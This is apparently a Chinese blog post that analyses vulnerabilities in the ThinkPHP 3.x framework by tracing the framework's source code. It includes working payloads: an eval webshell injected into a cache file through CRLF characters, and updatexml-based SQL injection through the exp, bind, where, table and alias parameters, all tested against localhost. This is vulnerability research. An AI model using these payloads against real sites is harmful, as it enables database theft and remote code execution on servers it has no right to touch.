白袍的小行星

ThinkPHP3漏洞分析

字数统计: 3.6k阅读时长: 16 min
2021/07/02 Share

一直以来我都头疼这种MVC架构的CMS,每次都看的头大,这次下定决心硬啃,有技术追求的人应该去挑战那些崇山峻岭
像ThinkPHP这种知名的CMS已经有了很完善的文档,入门肯定得看,先从3.2.3版本开始看起,文档:序言 · ThinkPHP3.2.3完全开发手册 · 看云

基础

目录结构

主要关注ThinkPHP目录:

├─ThinkPHP 框架系统目录(可以部署在非web目录下面)
│ ├─Common 核心公共函数目录
│ ├─Conf 核心配置目录
│ ├─Lang 核心语言包目录
│ ├─Library 框架类库目录
│ │ ├─Think 核心Think类库包目录
│ │ ├─Behavior 行为类库目录
│ │ ├─Org Org类库包目录
│ │ ├─Vendor 第三方类库目录
│ │ ├─ ... 更多类库目录
│ ├─Mode 框架应用模式目录
│ ├─Tpl 系统模板目录
│ └─ThinkPHP.php 框架入口文件

ThinkPHP是单一入口的,所以入口文件也是必须的,通常定义了各种路径和配置,审计入口也是此文件。
index.php中定义了入口文件:
20210621140921BjlRLl

Application/Home/Controller/IndexController.class.php是默认的控制器文件:
20210621141617s0yo8e
这里还用到了PHP的命名空间,学过C++的应该不陌生,官网文档:PHP: 命名空间概述 - Manual
use Think\Controller等于引入了ThinkPHP/Library/Think/Controller,后面直接继承。

总体架构

ThinkPHP常见且默认的URL形式为:
http://test.com/index.php/模块/控制器/操作/[参数名/参数值…]

这里的index.php是入口文件,基于同一个入口文件访问的项目称为一个应用,而模块就是应用下面包含的,每个模块都是一个独立的子目录。
控制器则在模块下,通常一个控制器类就是一个控制器。而在控制器类里有多个操作方法,每个操作是URL访问的最小单元。

公共模块不能被直接访问,它通常是被其他模块进行加载,其他模块可以继承和调用公共模块的内容。

ThinkPHP是基于MVC模式的,并且都支持多层设计。模型层可以进行多层设计,所有模型层都继承自系统的Model类。控制层包括核心控制器和业务控制器,也都继承系统的Controller类。

缓存

在ThinkPHP中可以使用S方法来操作缓存,例如初始化:

S(array('type'=>'xcache', 'expire'=>60));

常用的参数有:

  • expire,缓存有效期,单位为秒
  • prefix,缓存标识前缀
  • type,缓存类型,常用的有FileRedisMemcache

如果使用File类型的缓存,文件名是这样确定的:

$name = md5(C('DATA_CACHE_KEY') . $name);

默认没设置DATA_CACHE_KEY,那文件名实际就是md5($name),也就是缓存变量名的MD5值。

漏洞分析

ThinkPHP 3.2.3-5.0.10缓存漏洞

基础部分说了缓存的使用,写个例子:

class IndexController extends Controller
{
public function index()
{
$name = I("get.data");
S('name', $name);
}
}

GET传入data=Hello World!之后,可以在/Application/Runtime/Temp目录下看到缓存文件:
20210625165039btJgpA
内容为:

<?php
//000000000000s:12:"Hello World!";
?>

看起来像是经过序列化的内容,看看源码部分,在/ThinkPHP/Cache/Driver/File.class.php

public function set($name, $value, $expire = null)
{
N('cache_write', 1);
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$filename = $this->filename($name);
$data = serialize($value);
if (C('DATA_CACHE_COMPRESS') && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
if (C('DATA_CACHE_CHECK')) {
//开启数据校验
$check = md5($data);
} else {
$check = '';
}
$data = "<?php\n//" . sprintf('%012d', $expire) . $check . $data . "\n?>";
$result = file_put_contents($filename, $data);
if ($result) {
if ($this->options['length'] > 0) {
// 记录缓存队列
$this->queue($name);
}
clearstatcache();
return true;
} else {
return false;
}
}

的确是序列化,$data写入了文件,但是在这之前有注释符,那就需要绕过,可以使用换行符%0d%0a,我们把缓存的数据内容换成:

%0d%0aeval(_POST[a]);%0d%0a//

20210625170144VhWWFI

利用此漏洞时需要得知漏洞存在的文件,得知缓存变量名,之后就可以在相关目录下找到对应的缓存文件并利用。

ThinkPHP 3.2.3 update注入

ThinkPHP数据库操作支持链式操作,如需要查询User表状态为1的前10条记录:

$User->where('status=1')->order('create_time')->limit(10)->select();

除了select()方法必须放到最后以外,其余的操作没有固定顺序。

更新数据使用save()方法:

$User = M("User");//实例化对象
$data['name'] = "adan0s";//要修改的数据
$User->where('id=5')->save($data);//更新

save()方法在/ThinkPHP/Library/Think/Model.class.php中:

public function save($data = '', $options = array())
{
if (empty($data)) {
// 没有传递数据,获取当前数据对象的值
if (!empty($this->data)) {
$data = $this->data;
// 重置数据
$this->data = array();
} else {
$this->error = L('_DATA_TYPE_INVALID_');
return false;
}
}
// 数据处理
$data = $this->_facade($data);
if (empty($data)) {
// 没有数据则不执行
$this->error = L('_DATA_TYPE_INVALID_');
return false;
}
// 分析表达式
$options = $this->_parseOptions($options);
$pk = $this->getPk();
if (!isset($options['where'])) {
// 如果存在主键数据 则自动作为更新条件
if (is_string($pk) && isset($data[$pk])) {
$where[$pk] = $data[$pk];
unset($data[$pk]);
} elseif (is_array($pk)) {
// 增加复合主键支持
foreach ($pk as $field) {
if (isset($data[$field])) {
$where[$field] = $data[$field];
} else {
// 如果缺少复合主键数据则不执行
$this->error = L('_OPERATION_WRONG_');
return false;
}
unset($data[$field]);
}
}
if (!isset($where)) {
// 如果没有任何更新条件则不执行
$this->error = L('_OPERATION_WRONG_');
return false;
} else {
$options['where'] = $where;
}
}

if (is_array($options['where']) && isset($options['where'][$pk])) {
$pkValue = $options['where'][$pk];
}
if (false === $this->_before_update($data, $options)) {
return false;
}
$result = $this->db->update($data, $options);
if (false !== $result && is_numeric($result)) {
if (isset($pkValue)) {
$data[$pk] = $pkValue;
}

$this->_after_update($data, $options);
}
return $result;
}

如果没有where条件,save方法是不会更新数据库的,在经过数据解析处理后,会调用回调函数进入update.

/ThinkPHP/Library/Db/Diver.class.php中,可以找到where子单元分析的源码,可以看到:

protected function parseWhereItem($key, $val)
{
$whereStr = '';
......
} elseif ('bind' == $exp) {
// 使用表达式
$whereStr .= $key . ' = :' . $val[1];
} elseif ('exp' == $exp) {
// 使用表达式
$whereStr .= $key . ' ' . $val[1];
......
}

$val变量是被直接拼接到$whereStr中的,回溯一下,parseWhere函数调用了它,而parseWhere函数又会被update函数调用:

//update()
$sql .= $this->parseWhere(!empty($options['where']) ? $options['where'] : '');

所以调用链已经清晰了,下面就是构造的细节。再回到where子单元分析的地方,可以看到需要$exp等于这两个值才会拼接,其来源:

$exp = strtolower($val[0]);

也就是传入的数据应该是一个数组,并且数组的第一个值是expbind,例如:

username[0]=exp&username[1]==1 and 1=1

=的原因是变量拼接到了WHERE子句后面,并且是键名 键值这样的形式,所以键值应该加个=,确保语句正确。

现在我们修改一下主控制器的index方法:

public function index()
{
$User = D('User');
$map['username'] = I('username');
$data['password'] = I('password');
$user = $User->where($map)->save($data);
var_dump($user);
}

尝试注入:http://localhost:8889/thinkphp3/?username[0]=exp&username[1]==1 and updatexml(1,concat(0x7e,user(),0x7e),1)&password=adminadmin
20210625202105RrU7Lv

Why? 原因是ThinkPHP有一个安全措施,在I方法的最后:

is_array($data) && array_walk_recursive($data, 'think_filter');

通过回调函数的方式调用了think_filter函数,定义如下:

function think_filter(&$value)
{
// 过滤查询特殊字符
if (preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
$value .= ' ';
}
}

可以看到,这里检测了EXP字符,会拼接一个空格,所以如果使用ThinkPHP提供的I方法来获取参数,就不能使用这种注入方式。

但过滤列表里并没有BIND,所以还是可以使用bind来注入。bind方式构造的payload与exp不同,原因在这里:
20210625194816rxqG3K
exp是加空格拼接,而bind是加=:拼接。前者在构造payload的时候要加一个=,那其实就相当于多了个:
20210626102905WdnYjm

execute函数中,有这样一段:

if (!empty($this->bind)) {
$that = $this;
$this->queryStr = strtr($this->queryStr, array_map(function ($val) use ($that) {return '\'' . $that->escapeString($val) . '\'';}, $this->bind));
}

在这里下断点,可以看到传入的str为:
20210627155736MRGMC9
再运行,看看经过这段代码的处理后会变成什么:
20210627155948jALWAv
很明显地,:0被替换为了我们输入的字符串,后面还多了一个:

这里因为是:1不能被替换,但是1是我们输入的,改成0不就可以替换了?
2021062716035010NXtW

最终利用bind注入的payload为:

http://localhost:8889/thinkphp3/?username[0]=bind&username[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&password=adminadmin

ThinkPHP 3.2 find/select/delete注入

漏洞函数在ThinkPHP/Library/Think/Model.class.php中,具体是findselectdelete

find/select

这两个实际利用方式区别不大,所以就以复杂点的find函数开始:

public function find($options = array())
{
if (is_numeric($options) || is_string($options)) {
$where[$this->getPk()] = $options;
$options = array();
$options['where'] = $where;
}
// 根据复合主键查找记录
$pk = $this->getPk();
if (is_array($options) && (count($options) > 0) && is_array($pk)) {
// 根据复合主键查询
$count = 0;
foreach (array_keys($options) as $key) {
if (is_int($key)) {
$count++;
}

}
if (count($pk) == $count) {
$i = 0;
foreach ($pk as $field) {
$where[$field] = $options[$i];
unset($options[$i++]);
}
$options['where'] = $where;
} else {
return false;
}
}
// 总是查找一条记录
$options['limit'] = 1;
// 分析表达式
$options = $this->_parseOptions($options);
// 判断查询缓存
if (isset($options['cache'])) {
$cache = $options['cache'];
$key = is_string($cache['key']) ? $cache['key'] : md5(serialize($options));
$data = S($key, '', $cache);
if (false !== $data) {
$this->data = $data;
return $data;
}
}
$resultSet = $this->db->select($options);
if (false === $resultSet) {
return false;
}
if (empty($resultSet)) {
// 查询结果为空
return null;
}
if (is_string($resultSet)) {
return $resultSet;
}

// 读取数据后的处理
$data = $this->_read_data($resultSet[0]);
$this->_after_find($data, $options);
if (!empty($this->options['result'])) {
return $this->returnResult($data, $this->options['result']);
}
$this->data = $data;
if (isset($cache)) {
S($key, $data, $cache);
}
return $this->data;
}
// 查询成功的回调方法
protected function _after_find(&$result, $options)
{}

protected function returnResult($data, $type = '')
{
if ($type) {
if (is_callable($type)) {
return call_user_func($type, $data);
}
switch (strtolower($type)) {
case 'json':
return json_encode($data);
case 'xml':
return xml_encode($data);
}
}
return $data;
}

传入参数options,首先经过一个判断,如果为数字或字符串类型,则将其作为查询条件。
之后提供了复合主键的查询,复合主键即含有一个以上字段的主键,要求options是非空数组,并且查询到的主键也是数组。
后面调用了_parseOptions进行表达式分析,这里只要我们将options设置为数组,并且主键只有一个字段时,就可以直接进入表达式分析部分。

来看_parseOptions

protected function _parseOptions($options = array())
{
if (is_array($options)) {
$options = array_merge($this->options, $options);
}

if (!isset($options['table'])) {
// 自动获取表名
$options['table'] = $this->getTableName();
$fields = $this->fields;
} else {
// 指定数据表 则重新获取字段列表 但不支持类型检测
$fields = $this->getDbFields();
}

// 数据表别名
if (!empty($options['alias'])) {
$options['table'] .= ' ' . $options['alias'];
}
// 记录操作的模型名称
$options['model'] = $this->name;

// 字段类型验证
if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {
// 对数组查询条件进行字段类型检查
foreach ($options['where'] as $key => $val) {
$key = trim($key);
if (in_array($key, $fields, true)) {
if (is_scalar($val)) {
$this->_parseType($options['where'], $key);
}
} elseif (!is_numeric($key) && '_' != substr($key, 0, 1) && false === strpos($key, '.') && false === strpos($key, '(') && false === strpos($key, '|') && false === strpos($key, '&')) {
if (!empty($this->options['strict'])) {
E(L('_ERROR_QUERY_EXPRESS_') . ':[' . $key . '=>' . $val . ']');
}
unset($options['where'][$key]);
}
}
}
// 查询过后清空sql表达式组装 避免影响下次查询
$this->options = array();
// 表达式过滤
$this->_options_filter($options);
return $options;
}

首先判断传入的是否是数组,是的话就会进行合并。看完整体之后会发现这里是完全没有对options进行过滤的,相当于直接返回,那继续看find函数之后的部分:

$resultSet = $this->db->select($options);

调用了在ThinkPHP/Libray/Think/Db/Diver.class.php中的select方法:

public function select($options = array())
{
$this->model = $options['model'];
$this->parseBind(!empty($options['bind']) ? $options['bind'] : array());
$sql = $this->buildSelectSql($options);
$result = $this->query($sql, !empty($options['fetch_sql']) ? true : false);
return $result;
}

跟进buildSelectSql方法:

public function buildSelectSql($options = array())
{
if (isset($options['page'])) {
// 根据页数计算limit
list($page, $listRows) = $options['page'];
$page = $page > 0 ? $page : 1;
$listRows = $listRows > 0 ? $listRows : (is_numeric($options['limit']) ? $options['limit'] : 20);
$offset = $listRows * ($page - 1);
$options['limit'] = $offset . ',' . $listRows;
}
$sql = $this->parseSql($this->selectSql, $options);
return $sql;
}

这里调用了parseSql,其中一个参数就是options,继续跟进:

public function parseSql($sql, $options = array())
{
$sql = str_replace(
array('%TABLE%', '%DISTINCT%', '%FIELD%', '%JOIN%', '%WHERE%', '%GROUP%', '%HAVING%', '%ORDER%', '%LIMIT%', '%UNION%', '%LOCK%', '%COMMENT%', '%FORCE%'),
array(
$this->parseTable($options['table']),
$this->parseDistinct(isset($options['distinct']) ? $options['distinct'] : false),
$this->parseField(!empty($options['field']) ? $options['field'] : '*'),
$this->parseJoin(!empty($options['join']) ? $options['join'] : ''),
$this->parseWhere(!empty($options['where']) ? $options['where'] : ''),
$this->parseGroup(!empty($options['group']) ? $options['group'] : ''),
$this->parseHaving(!empty($options['having']) ? $options['having'] : ''),
$this->parseOrder(!empty($options['order']) ? $options['order'] : ''),
$this->parseLimit(!empty($options['limit']) ? $options['limit'] : ''),
$this->parseUnion(!empty($options['union']) ? $options['union'] : ''),
$this->parseLock(isset($options['lock']) ? $options['lock'] : false),
$this->parseComment(!empty($options['comment']) ? $options['comment'] : ''),
$this->parseForce(!empty($options['force']) ? $options['force'] : ''),
), $sql);
return $sql;
}

分别调用各个处理方法去处理,其参数都是我们可控的,跟进其中一个parseWhere

protected function parseWhere($where)
{
$whereStr = '';
if (is_string($where)) {
// 直接使用字符串条件
$whereStr = $where;
} else {
.......
}

这里只要是字符串就直接返回,没有任何过滤,所以通过传入数组options['where']就能进行注入,payload:

?id[where]=1 and updatexml(1,concat(0x7e,user(),0x7e),1)

还能利用options['table']options['alias'],这两者都是利用了parseTable方法:

protected function parseTable($tables)
{
if (is_array($tables)) {
// 支持别名定义
$array = array();
foreach ($tables as $table => $alias) {
if (!is_numeric($table)) {
$array[] = $this->parseKey($table) . ' ' . $this->parseKey($alias);
} else {
$array[] = $this->parseKey($alias);
}

}
$tables = $array;
} elseif (is_string($tables)) {
$tables = explode(',', $tables);
array_walk($tables, array(&$this, 'parseKey'));
}
return implode(',', $tables);
}

传入非数组参数时,会直接解析返回,无过滤,所以可以写出payload:

?id[table]=user where 1 and updatexml(1,concat(0x7e,user(),0x7e),1)

?id[alias]=where 1 and updatexml(1,concat(0x7e,user(),0x7e),1)

delete

看函数:

public function delete($options = array())
{
$pk = $this->getPk();
if (empty($options) && empty($this->options['where'])) {
// 如果删除条件为空 则删除当前数据对象所对应的记录
if (!empty($this->data) && isset($this->data[$pk])) {
return $this->delete($this->data[$pk]);
} else {
return false;
}

}
......
}

其实也跟前面的差不多,只是这里多了一个限制,也就是options['where']不能为空。

CATALOG
  1. 1. 基础
    1. 1.1. 目录结构
    2. 1.2. 总体架构
    3. 1.3. 缓存
  2. 2. 漏洞分析
    1. 2.1. ThinkPHP 3.2.3-5.0.10缓存漏洞
    2. 2.2. ThinkPHP 3.2.3 update注入
    3. 2.3. ThinkPHP 3.2 find/select/delete注入
      1. 2.3.1. find/select
      2. 2.3.2. delete